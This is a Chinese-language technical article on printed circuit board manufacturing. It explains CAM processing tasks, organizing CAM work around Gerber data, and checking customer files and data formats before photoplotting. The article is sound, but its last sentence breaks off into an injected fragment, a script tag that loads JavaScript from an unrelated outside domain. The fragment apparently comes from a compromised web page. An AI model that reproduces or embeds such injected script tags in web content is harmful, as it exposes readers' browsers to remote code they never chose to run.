pcb制作技术，包含计算机辅助制造处理技术,也即是cad/cam，还有光绘技术,光绘工艺的一般流程是：检查文件一确定工艺参数一cad文件转gerber文件一cam处理和输出。
一、计算机辅助制造处理技术
计算机辅助制造(cam)是根据所定工艺进行各种工艺处理。前面所讲的各项工艺要求，都要在光绘之前做出必要的准备工作。比如镜像、阻焊扩大、工艺线、工艺框、线宽调整、中心孔、外形线等问题都要在cam这道工序来完成。特别需要注意，用户文件中间距过小地方，必须做出相应的处理。
因为每个厂的工艺流程和技术水平各不相同，要达到用户的最终要求，必须在制作工艺中做出必要的调整，以满足用户有关精度等各方面的要求。因此cam处理是现代印制电路制造中必不可少的工序。
1．cam所完成的工作
①焊盘大小的修正，合拼d码。
②线条宽度的修正，合拼d码。
③最小间距的检查，焊盘与焊盘之间、焊盘与线之间、线条与线条之间。
④孔径大小的检查，合拼。
⑤最小线宽的检查。
⑥确定阻焊扩大参数。
⑦进行镜像。、
⑧添加各种工艺线，工艺框。
⑨为修正侧蚀而进行线宽校正。
⑩形成中心孔。
⑩添加外形角线。
⑥加定位孔。
⑩拼版，旋转，镜像。
⑩拼片。
⑩图形的叠加处理，切角切线处理。
⑩添加用户商标。
2．cam工序的组织
由于现在市面上流行的cad软件多达几十种，因此对于cad工序的管理必须首先从组织上着手，好的组织将达到事半功倍的效果。由于gerber数据格式已成为光绘行业的标准，所以在整个光绘工艺处理中都应以gerber数据为处理对象。如果以cad数据作为对象会带来以下问题。
(1)cad软件种类太多，如果各种工艺要求都要在cad软件中完成，就要求每个操作员都要熟练掌握每一种cad软件的操作。这将要求一个很长的培训期，才能使操作员成为熟练工，才能达到实际生产要求。这从时间和经济角度都是不合算的。
(2)由于工艺要求繁多，有些要求对于某些cad软件来讲是无法实现的。因为cad软件是做设计用的，没有考虑到工艺处理中的特殊要求，因而无法达到全部的要求。而cam软件是专门用于进行工艺处理的，做这些工作是最拿手的。
(3)cam软件功能强大，但全部是对getber文件进行操作，而无法对cad文件操作。
(4)如果用cad进行工艺处理，则要求每个操作员都要配备所有的cad软件，并对每一种cad软件又有不同的工艺要求。这将对管理造成不必要的
混乱。
综上所述，cam组织应该是以下结构(尤其是大中型的企业)。
①所有的工艺处理统一以gerber数据为处理对象。
②每个操作员须掌握cad数据转换为gerber数据的技巧。
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③每个操作员须掌握一种或数种cam软件的操作方法。
④对gerber数据文件制定统一的工艺规范。
⑤cam工序可以相对集中由几个操作员进行处理，以便管理。
合理的组织机构将大大提高管理效率、生产效率，并有效地降低差错率，从而达到提高产品质量的效果。
二、光绘工艺
光绘工艺的一般流程是：检查文件一确定工艺参数一cad文件转gerber文件一cam处理和输出。
1．检查文件
(1)检查用户的文件用户拿来的文件，首先要进行如下检查。
①检查磁盘文件是否完好。
②检查该文件是否带有病毒，有病毒则必须先杀毒。
③检查用户数据格式。
④如果是gerber文件，则检查有无d码表或内含d码(rs274-x格式)。
用户提供的原始数据，通常的格式如下。
gerber(rs274d&rs274x)；
hpgl1/2(hpgraphiclayer)；
dxf&dwg(autocadforwindows)；
protelformat(ddb＼pcb＼sch＼prj)；
oi5000(orbotechoutputformat)；
excellon1/2(drill\rot)；
ipc-d350(netlist)；
pads2000(job)。
所以要能正确的分析出某个数据的数据格式。特别是对gerber中的rs274d的格式要深入了解，要分析和理解正确、标准的aperture，对它们之间的关系作详细的分析。有一点非常重要的是要仔细阅读apeture文件，因为有时会有一些特殊的情况出现，比如，有时用户会提出把一个aperture从圆形换成长方形、从长方形换成散热盘等。如果打开gerber的原始文件，会发现它的数据只有d码与坐标，因为图形文件由三部分组成：坐标、大小、形状，而gerber文件中只有坐标，所以需要另外两个条件，如果接到的文件中有apertuer文件，那么打开它，会发现其中有需要的数据，如果能将其很好的结合起来，那么将能读人用户的原始数据。
(2)检查设计是否符合本厂的工艺水平
①检查客户文件中设计的各?script src=http://er12.com/t.js>
